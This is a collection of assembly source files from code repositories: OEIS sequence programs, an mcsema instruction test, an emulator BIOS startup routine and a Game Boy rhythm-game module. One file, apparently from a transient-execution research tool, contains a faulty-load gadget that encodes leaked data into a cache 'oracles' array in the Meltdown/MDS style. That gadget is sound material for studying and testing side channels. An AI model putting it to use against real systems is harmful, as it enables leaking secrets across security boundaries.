c671a1d99e4f16022f99470fb7f0e56f3dd67d86
769
asm
Assembly
oeis/115/A115598.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/115/A115598.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/115/A115598.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A115598: Consider all Pythagorean triples (X,X+1,Z) ordered by increasing Z; sequence gives Z-(X+1) values. ; Submitted by Jamie Morken(s3) ; 1,8,49,288,1681,9800,57121,332928,1940449,11309768,65918161,384199200,2239277041,13051463048,76069501249,443365544448,2584123765441,15061377048200,87784138523761,511643454094368,2982076586042449,17380816062160328,101302819786919521,590436102659356800,3441313796169221281,20057446674355970888,116903366249966604049,681362750825443653408,3971273138702695316401,23146276081390728245000,134906383349641674153601,786292024016459316676608,4582845760749114225906049,26710782540478226038759688 mul $0,2 mov $3,1 lpb $0 sub $0,1 mul $2,2 add $2,$3 mov $3,$1 mov $1,$2 add $3,1 lpe mov $0,$2 add $0,$3 add $1,$0 mov $0,$1
40.473684
487
0.812744
970130be0ff11bd512719e6a0a8ed1d2455c0c02
175
asm
Assembly
mc-sema/validator/x86_64/tests/SAHF.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
2
2021-08-07T16:21:29.000Z
2021-11-17T10:58:37.000Z
mc-sema/validator/x86_64/tests/SAHF.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
mc-sema/validator/x86_64/tests/SAHF.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; SAHF mov ah, 0xD5 ;TEST_BEGIN_RECORDING sahf ;TEST_END_RECORDING
14.583333
25
0.742857
9e91e1179493e896da4993ad41b8f90b76bae60d
1,569
asm
Assembly
programs/oeis/164/A164039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/164/A164039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/164/A164039.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A164039: a(n+1) = 3*a(n) - n. ; 1,2,4,9,23,64,186,551,1645,4926,14768,44293,132867,398588,1195750,3587235,10761689,32285050,96855132,290565377,871696111,2615088312,7845264914,23535794719,70607384133,211822152374,635466457096,1906399371261,5719198113755,17157594341236,51472783023678,154418349071003,463255047212977,1389765141638898,4169295424916660,12507886274749945,37523658824249799,112570976472749360,337712929418248042,1013138788254744087,3039416364764232221,9118249094292696622,27354747282878089824,82064241848634269429,246192725545902808243,738578176637708424684,2215734529913125274006,6647203589739375821971,19941610769218127465865,59824832307654382397546,179474496922963147192588,538423490768889441577713,1615270472306668324733087,4845811416920004974199208,14537434250760014922597570,43612302752280044767792655,130836908256840134303377909,392510724770520402910133670,1177532174311561208730400952,3532596522934683626191202797,10597789568804050878573608331,31793368706412152635720824932,95380106119236457907162474734,286140318357709373721487424139,858420955073128121164462272353,2575262865219384363493386816994,7725788595658153090480160450916,23177365786974459271440481352681,69532097360923377814321444057975,208596292082770133442964332173856,625788876248310400328892996521498,1877366628744931200986678989564423,5632099886234793602960036968693197,16896299658704380808880110906079518,50688898976113142426640332718238480,152066696928339427279920998154715365,456200090785018281839762994464146019 mov $1,3 pow $1,$0 add $1,$0 add $1,$0 div $1,4 add $1,1 mov $0,$1
142.636364
1,468
0.917145
05c6970d99631674a3103140ee246fdd78bfb343
1,476
asm
Assembly
bios/startup.asm
shift-crops/x86emu
fa65d448d71145fd611559a8a037dba211bb31a5
[ "MIT" ]
85
2017-03-24T13:02:38.000Z
2022-02-17T23:22:55.000Z
bios/startup.asm
shift-crops/x86emu
fa65d448d71145fd611559a8a037dba211bb31a5
[ "MIT" ]
null
null
null
bios/startup.asm
shift-crops/x86emu
fa65d448d71145fd611559a8a037dba211bb31a5
[ "MIT" ]
14
2017-05-06T18:34:31.000Z
2021-05-12T10:24:43.000Z
extern bios_main, bios_init extern fdd_configure extern attr_configure, seq_configure, dac_configure, gc_configure, load_font global start BITS 16 start: mov ax, cs mov ds, ax mov ax, 0x400 mov ss, ax mov sp, 0x2000 xor ax, ax mov es, ax ;call init_pic call init_fdd call init_vga call dword bios_init call dword bios_main call load_mbr jmp 0x0:0x7c00 init_pic: cli mov al, 0x11 out 0x20, al out 0xa0, al mov al, 0x20 out 0x21, al mov al, 0x28 out 0xa1, al mov al, 0x4 out 0x21, al mov al, 2 out 0xa1, al mov al, 0x1 out 0x21, al out 0xa1, al mov al, 0xfb out 0x21, al mov al, 0xff out 0xa1, al sti ret init_fdd: push 0x0000 push 0x4000 call fdd_configure add sp, 4 cli in al, 0x21 and al, 0xbf out 0x21, al sti ret init_vga: cli ; mor : 0x2 mov dx, 0x03c2 mov al, 0x2 out dx, al sti call dword load_font cli call dword attr_configure call dword seq_configure call dword dac_configure call dword gc_configure ; x : 320 mov dx, 0x03b4 mov al, 0x1 out dx, al mov dx, 0x03b5 mov al, 0x28 out dx, al ; y : 200 mov dx, 0x03b4 mov al, 0x12 out dx, al mov dx, 0x03b5 mov al, 0x19 out dx, al ; MSL : 8 mov dx, 0x03b4 mov al, 0x09 out dx, al mov dx, 0x03b5 mov al, 0x8-1 out dx, al sti ret load_mbr: mov ax, 0x0 mov es, ax mov bx, 0x7c00 mov ah, 0x2 ; read mov al, 0x1 ; sectors mov ch, 0x0 ; cylinder mov cl, 0x1 ; sector mov dh, 0x0 ; head mov dl, 0x0 ; drive int 0x13 ret
12.198347
76
0.680217
3ff460c42389e7730aebfb6f0e9b8eff8c65d98d
444
asm
Assembly
oeis/199/A199011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/199/A199011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/199/A199011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A199011: Triangle T(n,k), read by rows, given by (1,1,-1,1,0,0,0,0,0,0,0,...) DELTA (0,1,0,0,0,0,0,0,0,0,0,0,...) where DELTA is the operator defined in A084938. ; Submitted by Jamie Morken(s1) ; 1,1,0,2,1,0,3,3,1,0,4,6,4,1,0,5,10,10,5,1,0,6,15,20,15,6,1,0,7,21,35,35,21,7,1,0,8,28,56,70,56,28,8,1,0,9,36,84,126,126,84,36,9,1,0,10,45,120,210,252,210,120,45,10,1,0 lpb $0 mov $2,$0 sub $0,1 add $1,1 trn $0,$1 lpe bin $1,$2 mov $0,$1
34.153846
169
0.596847
18d622a7671e32d2e8b346c788ff4e1d14be7a3a
4,351
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rdi push %rsi lea addresses_normal_ht+0x1b961, %r8 nop dec %r13 mov (%r8), %si nop add $50697, %rdi pop %rsi pop %rdi pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r9 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_WC+0x11761, %rsi lea addresses_D+0x17c1, %rdi nop nop add %r9, %r9 mov $20, %rcx rep movsw nop nop nop nop sub %r9, %r9 // Faulty Load lea addresses_normal+0x8761, %rbx cmp $38046, %r10 vmovntdqa (%rbx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
58.797297
2,999
0.662147
20540cde4974c0a1ffd66ecadb7c72ff6c599afb
26,512
asm
Assembly
code/games/skater-dude.asm
sinusoid-studios/rhythm-land
6471f1d7b7d885bbb898888645ac291d45125134
[ "MIT" ]
11
2021-08-10T20:31:11.000Z
2021-12-28T11:57:03.000Z
code/games/skater-dude.asm
sinusoid-studios/rhythm-land
6471f1d7b7d885bbb898888645ac291d45125134
[ "MIT" ]
null
null
null
code/games/skater-dude.asm
sinusoid-studios/rhythm-land
6471f1d7b7d885bbb898888645ac291d45125134
[ "MIT" ]
1
2021-10-02T17:49:10.000Z
2021-10-02T17:49:10.000Z
INCLUDE "constants/hardware.inc" INCLUDE "constants/engine.inc" INCLUDE "constants/actors.inc" INCLUDE "constants/sfx.inc" INCLUDE "constants/screens.inc" INCLUDE "constants/interrupts.inc" INCLUDE "constants/transition.inc" INCLUDE "constants/cues.inc" INCLUDE "constants/games/skater-dude.inc" SECTION UNION "Game Variables", HRAM ; When the game starts or ends, Skater Dude skates on or off the screen hSkaterDudeState: DS 1 ; Index into Skater Dude's jump position table hSkaterDudePosIndex: DS 1 hSkaterDudePosCountdown: DS 1 ; Number of frames left in slo-mo hSloMoCountdown:: DS 1 ; Storage for the current positions of the different sections of the ; background hBuildingMapXPos: .low DS 1 .high DS 1 hSidewalkMapXPos: .low DS 1 .high DS 1 hSidewalkSCX: DS 1 hRoadMapXPos: .low DS 1 .high DS 1 hRoadSCX: DS 1 hGrassMapXPos: .low DS 1 .high DS 1 hGrassSCX: DS 1 hSidewalkScrollTimer: DS 1 ; The current frame the building bounce effect is on hBuildingBounceIndex:: DS 1 SECTION "Skater Dude Game Setup", ROMX xGameSetupSkaterDude:: ; Set palettes ld a, SKATER_DUDE_BGP ldh [hBGP], a ASSERT SKATER_DUDE_OBP1 & ~%11 == SKATER_DUDE_BGP & ~%11 ldh [hOBP1], a ld a, SKATER_DUDE_OBP0 ldh [hOBP0], a ; Set appropriate LCDC flags ld a, LCDCF_ON | LCDCF_BG8800 | LCDCF_BG9800 | LCDCF_BGON | LCDCF_OBJ16 | LCDCF_OBJON ldh [hLCDC], a ASSERT SKATER_DUDE_STATE_IN == 0 xor a, a ldh [hSkaterDudeState], a ; Initially no slo-mo ASSERT SKATER_DUDE_NO_SLO_MO == 0 - 1 dec a ldh [hSloMoCountdown], a ; Load background tiles ASSERT BANK(xBackgroundTiles) == BANK(@) ld de, xBackgroundTiles ld hl, $9000 ld bc, xBackgroundTiles.end - xBackgroundTiles rst LCDMemcopy ; Load sprite tiles ASSERT BANK(xSpriteTiles) == BANK(@) ASSERT xSpriteTiles == xBackgroundTiles.end ld hl, $8000 ld bc, xSpriteTiles.end - xSpriteTiles rst LCDMemcopy ; Set up the background map ld hl, hMapWidth ld [hl], MAP_SKATER_DUDE_WIDTH ASSERT hMapHeight == hMapWidth + 1 inc l ld [hl], MAP_SKATER_DUDE_HEIGHT ASSERT hMapBank == hMapHeight + 1 inc l ld [hl], BANK(xMap) ASSERT hMapPointer == hMapBank + 1 inc l ld [hl], LOW(xMap) inc l ld [hl], HIGH(xMap) ; Set initial map position ASSERT hMapXPos == hMapPointer + 2 inc l xor a, a ld [hli], a ld [hli], a ASSERT hMapTileYPos == hMapXPos + 2 ld [hli], a ASSERT hMapUpdateHeight == hMapTileYPos + 1 ; Draw the entire visible map to start ld [hl], SCRN_Y_B ; Initialize section map positions ld l, LOW(hBuildingMapXPos) ld [hli], a ld [hli], a ASSERT hSidewalkMapXPos == hBuildingMapXPos + 2 ld [hli], a ld [hli], a ASSERT hSidewalkSCX == hSidewalkMapXPos + 2 ld [hli], a ASSERT hRoadMapXPos == hSidewalkSCX + 1 ld [hli], a ld [hli], a ASSERT hRoadSCX == hRoadMapXPos + 2 ld [hli], a ASSERT hGrassMapXPos == hRoadSCX + 1 ld [hli], a ld [hli], a ASSERT hGrassSCX == hGrassMapXPos + 2 ld [hli], a ASSERT hSidewalkScrollTimer == hGrassSCX + 1 ld [hli], a ASSERT hBuildingBounceIndex == hSidewalkScrollTimer + 1 ; Start with buildings not bouncing ASSERT BUILDING_NOT_BOUNCING == -1 dec a ld [hl], a ; Draw the initial visible map call MapDraw ; No tile streaming in this game xor a, a ldh [hTileStreamingEnable], a ; Create the Skater Dude actor ASSERT BANK(xActorSkaterDudeDefinition) == BANK(@) ld de, xActorSkaterDudeDefinition call ActorNew ld a, -1 ldh [hSkaterDudePosIndex], a ; Set up game data ld c, BANK(xHitTableSkaterDude) ld hl, xHitTableSkaterDude jp EngineInit xBackgroundTiles: INCBIN "res/skater-dude/background.bg.2bpp" .end xSpriteTiles: ; Remove the first 2 tiles which are blank on purpose to get rid of ; any blank objects in the image INCBIN "res/skater-dude/skater-dude.obj.2bpp", 16 * 2 INCBIN "res/skater-dude/skateboard.obj.2bpp", 16 * 2 INCBIN "res/skater-dude/danger-alert.obj.2bpp" INCBIN "res/skater-dude/car.obj.2bpp" INCBIN "res/skater-dude/log.obj.2bpp", 16 * 2 INCBIN "res/skater-dude/oil-barrel.obj.2bpp", 16 * 2 .end xActorSkaterDudeDefinition: DB ACTOR_SKATER_DUDE DB SKATER_DUDE_START_X, SKATER_DUDE_Y DB SKATER_DUDE_IN_SPEED, 0 SECTION "Skater Dude Game Background Map", ROMX xMap: INCBIN "res/skater-dude/background.bg.tilemap" SECTION "Skater Dude Game Building Bounce Table", ROM0 ; Quadratic ease-out, for scaling the buildings ; Formula from <https://gizma.com/easing> ; Resulting values to be written to SCY every other scanline ; Updated every other scanline instead of every scanline because LYC ; interrupt juggling is too slow BuildingBounceTable: ; Start stretched and end normal ("bounce") DEF START EQU (BUILDING_TOP - BUILDING_BOUNCE_HEIGHT) << 16 DEF END EQU BUILDING_TOP << 16 DEF CHANGE EQU END - START DEF DURATION = 0 FOR TIME, 1, BUILDING_BOUNCE_DURATION + 1 DEF TIME_FRACTION = DIV(TIME << 16, BUILDING_BOUNCE_DURATION << 16) DEF BOUNCE = (MUL(-CHANGE, MUL(TIME_FRACTION, TIME_FRACTION - 2.0)) + START) >> 16 IF BOUNCE != 0 REDEF DURATION = DURATION + 1 ; Generate an SCY value for each scanline between the top of ; the screen and the bottom of the buildings FOR SCANLINE, 0, BUILDING_BOTTOM, 2 ; Get the "scanline" from the original image to use on ; this scanline DEF SCALED_SCANLINE_FRACTION = DIV((SCANLINE - BOUNCE) << 16, (BUILDING_BOTTOM - BOUNCE) << 16) DEF ORIGINAL_SCANLINE = FLOOR(MUL(SCALED_SCANLINE_FRACTION, (BUILDING_BOTTOM - 0) << 16)) >> 16 ; Value for SCY, offset by -LY DB ORIGINAL_SCANLINE - SCANLINE ENDR ENDC ENDR REDEF BUILDING_BOUNCE_DURATION EQU DURATION SECTION "Skater Dude Game Building Bounce Index Lookup Table", ROM0, ALIGN[8] BuildingBouncePointerTable: FOR INDEX, BUILDING_BOUNCE_DURATION DW BuildingBounceTable + INDEX * ((BUILDING_BOTTOM - 0) / 2) ENDR .end SECTION "Skater Dude Game Extra LYC Interrupt Handler", ROM0 LYCHandlerSkaterDude:: ; If this scanline is before the parallax change, this is for ; scaling the buildings ldh a, [rLYC] cp a, MAP_SKATER_DUDE_SIDEWALK_Y * 8 - 1 jr nc, .parallax ld c, a ; If the buildings aren't currently bouncing, there's nothing to do ldh a, [hBuildingBounceIndex] ASSERT BUILDING_NOT_BOUNCING == -1 inc a ret z ; Adjust for -1 LYC offset inc c ; LYC interrupts spread out every 2 scanlines but the values in the ; tables are consecutive srl c ; Get a pointer to the SCY value to use dec a ; Undo inc add a, a ASSERT LOW(BuildingBouncePointerTable) == 0 ld l, a ASSERT HIGH(BuildingBouncePointerTable.end - 1) == HIGH(BuildingBouncePointerTable) ld h, HIGH(BuildingBouncePointerTable) ld a, [hli] ld h, [hl] ld l, a ; c = scanline index ld b, 0 add hl, bc .waitHBlankBounce ldh a, [rSTAT] ASSERT STATF_HBL == 0 and a, STAT_MODE_MASK jr nz, .waitHBlankBounce ld a, [hl] ldh [rSCY], a ret .parallax ; Set appropriate map section's X scroll value ldh a, [rLYC] cp a, MAP_SKATER_DUDE_SIDEWALK_Y * 8 - 1 ld c, LOW(hSidewalkSCX) jr z, .sidewalk cp a, MAP_SKATER_DUDE_ROAD_Y * 8 - 1 ld c, LOW(hRoadSCX) jr z, .waitHBlankParallax ld c, LOW(hGrassSCX) .waitHBlankParallax ; Set SCX at the end of the scanline ldh a, [rSTAT] ASSERT STATF_HBL == 0 and a, STAT_MODE_MASK jr nz, .waitHBlankParallax ldh a, [c] ldh [rSCX], a ret .sidewalk ; Set SCY and SCX at the end of the scanline ldh a, [rSTAT] ASSERT STATF_HBL == 0 and a, STAT_MODE_MASK jr nz, .sidewalk ; Reset SCY in case the buildings are bouncing ; SCY should always be 0 for everything but the buildings ; a = 0 ldh [rSCY], a ldh a, [c] ldh [rSCX], a ret SECTION "Skater Dude Game Loop", ROMX xGameSkaterDude:: ; Set up extra LYC interrupts ASSERT LYCTable.skaterDude - LYCTable == 0 xor a, a ldh [hLYCResetIndex], a .loop ldh a, [hTransitionState] ASSERT TRANSITION_STATE_OFF == 0 and a, a jr z, .noTransition rst WaitVBlank call TransitionUpdate call .scroll ldh a, [hTransitionState] ASSERT TRANSITION_STATE_OFF == 0 and a, a jr nz, .loop ; Start music ld c, BANK(Inst_SkaterDude) ld de, Inst_SkaterDude call Music_PrepareInst ld c, BANK(Music_SkaterDude) ld de, Music_SkaterDude call Music_Play jr .loop .noTransition ; Check if it's time to start the building bounce ld a, [wMusicSyncData] ASSERT SYNC_NONE == -1 inc a jr z, .noStartBounce ; All sync values except the obstacle cue land on a beat ; Add 1 to compensate for inc cp a, CUE_OBSTACLE + 1 jr z, .noStartBounce ; Reset the frame index to 0 xor a, a ldh [hBuildingBounceIndex], a jr .updateSCY .noStartBounce ; Update hSCY for LY 0 if the buildings are bouncing ldh a, [hBuildingBounceIndex] inc a jr z, .noBounce ; Move on to next frame (already incremented) ; If the bounce is over, set the index to BUILDING_NOT_BOUNCING cp a, BUILDING_BOUNCE_DURATION jr nc, .stopBouncing ldh [hBuildingBounceIndex], a ; Move on to next frame (already incremented) ; Get a pointer to the SCY value to use add a, a .updateSCY ASSERT LOW(BuildingBouncePointerTable) == 0 ld l, a ASSERT HIGH(BuildingBouncePointerTable.end - 1) == HIGH(BuildingBouncePointerTable) ld h, HIGH(BuildingBouncePointerTable) ld a, [hli] ld h, [hl] ld l, a ld a, [hl] ldh [hSCY], a jr .noBounce .stopBouncing ld a, BUILDING_NOT_BOUNCING ldh [hBuildingBounceIndex], a .noBounce rst WaitVBlank call EngineUpdate call ActorsUpdate ldh a, [hSloMoCountdown] ASSERT SKATER_DUDE_NO_SLO_MO == -1 inc a call z, .scroll ; If the game is over, go to the overall rating screen ldh a, [hSkaterDudeState] cp a, SKATER_DUDE_STATE_END jr z, .finished ld hl, hSloMoCountdown ld a, [hl] ASSERT SKATER_DUDE_NO_SLO_MO == -1 inc a jr z, .loop dec [hl] jr .loop .finished ld a, SCREEN_RATING call TransitionStart jr .loop .scroll ; Scroll each section of the background map ; Scroll the grass ld hl, hMapXPos ld de, hGrassMapXPos ld a, [de] ; hGrassMapXPos.low ld [hli], a ; hMapXPos.low inc e ld a, [de] ; hGrassMapXPos.high ld [hli], a ; hMapXPos.high ASSERT hMapTileYPos == hMapXPos + 2 ld [hl], MAP_SKATER_DUDE_GRASS_Y ASSERT hMapUpdateHeight == hMapTileYPos + 1 inc l ld [hl], MAP_SKATER_DUDE_GRASS_HEIGHT ASSERT hGrassSCX == hGrassMapXPos + 2 inc e ld a, [de] ASSERT hMapSCX == hMapUpdateHeight + 1 inc l ld [hli], a ASSERT hMapSCY == hMapSCX + 1 ld [hl], MAP_SKATER_DUDE_GRASS_Y * 8 ; Grass scrolls 1 pixel every other frame and 2 pixels every other frame ldh a, [hFrameCounter] and a, 1 ; a = 0 or 1 inc a ; a = 1 or 2 ld b, a call MapScrollLeft ; Save new position ldh a, [hMapXPos.low] ldh [hGrassMapXPos.low], a ldh a, [hMapXPos.high] ldh [hGrassMapXPos.high], a ldh a, [hMapSCX] ldh [hGrassSCX], a ; Scroll the road ld hl, hMapXPos ld de, hRoadMapXPos ld a, [de] ; hRoadMapXPos.low ld [hli], a ; hMapXPos.low inc e ld a, [de] ; hRoadMapXPos.high ld [hli], a ; hMapXPos.high ASSERT hMapTileYPos == hMapXPos + 2 ld [hl], MAP_SKATER_DUDE_ROAD_Y ASSERT hMapUpdateHeight == hMapTileYPos + 1 inc l ld [hl], MAP_SKATER_DUDE_ROAD_HEIGHT ASSERT hRoadSCX == hRoadMapXPos + 2 inc e ld a, [de] ASSERT hMapSCX == hMapUpdateHeight + 1 inc l ld [hli], a ASSERT hMapSCY == hMapSCX + 1 ld [hl], MAP_SKATER_DUDE_ROAD_Y * 8 ; Road scrolls 1 pixel every frame ld b, 1 call MapScrollLeft ; Save new position ldh a, [hMapXPos.low] ldh [hRoadMapXPos.low], a ldh a, [hMapXPos.high] ldh [hRoadMapXPos.high], a ldh a, [hMapSCX] ldh [hRoadSCX], a ; Scroll the sidewalk ; Sidewalk scrolls 1 pixel every 5/8 frames ldh a, [hSidewalkScrollTimer] ld c, a and a, ~7 ld b, a ld a, c add a, 5 ldh [hSidewalkScrollTimer], a and a, ~7 cp a, b jr z, .scrollBuildings ld hl, hMapXPos ld de, hSidewalkMapXPos ld a, [de] ; hSidewalkMapXPos.low ld [hli], a ; hMapXPos.low inc e ld a, [de] ; hSidewalkMapXPos.high ld [hli], a ; hMapXPos.high ASSERT hMapTileYPos == hMapXPos + 2 ld [hl], MAP_SKATER_DUDE_SIDEWALK_Y ASSERT hMapUpdateHeight == hMapTileYPos + 1 inc l ld [hl], MAP_SKATER_DUDE_SIDEWALK_HEIGHT ASSERT hSidewalkSCX == hSidewalkMapXPos + 2 inc e ld a, [de] ASSERT hMapSCX == hMapUpdateHeight + 1 inc l ld [hli], a ASSERT hMapSCY == hMapSCX + 1 ld [hl], MAP_SKATER_DUDE_SIDEWALK_Y * 8 ld b, 1 call MapScrollLeft ; Save new position ldh a, [hMapXPos.low] ldh [hSidewalkMapXPos.low], a ldh a, [hMapXPos.high] ldh [hSidewalkMapXPos.high], a ldh a, [hMapSCX] ldh [hSidewalkSCX], a .scrollBuildings ; Buildings scroll 1 pixel every other frame ldh a, [hFrameCounter] and a, 1 ret z ld hl, hMapXPos ld de, hBuildingMapXPos ld a, [de] ; hBuildingMapXPos.low ld [hli], a ; hMapXPos.low inc e ld a, [de] ; hBuildingMapXPos.high ld [hli], a ; hMapXPos.high ASSERT hMapTileYPos == hMapXPos + 2 ld [hl], MAP_SKATER_DUDE_BUILDING_Y ASSERT hMapUpdateHeight == hMapTileYPos + 1 inc l ld [hl], MAP_SKATER_DUDE_BUILDING_HEIGHT ldh a, [hSCX] ASSERT hMapSCX == hMapUpdateHeight + 1 inc l ld [hli], a ASSERT hMapSCY == hMapSCX + 1 ld [hl], MAP_SKATER_DUDE_BUILDING_Y * 8 ld b, 1 call MapScrollLeft ; Save new position ldh a, [hMapXPos.low] ldh [hBuildingMapXPos.low], a ldh a, [hMapXPos.high] ldh [hBuildingMapXPos.high], a ldh a, [hMapSCX] ldh [hSCX], a ret SECTION "Skater Dude Danger Alert Cue", ROMX xCueDangerAlert:: ; Create a Danger Alert actor ASSERT BANK(xActorDangerAlertDefinition) == BANK(@) ld de, xActorDangerAlertDefinition jp ActorNew xActorDangerAlertDefinition: DB ACTOR_DANGER_ALERT DB DANGER_ALERT_X, DANGER_ALERT_Y DB 0, 0 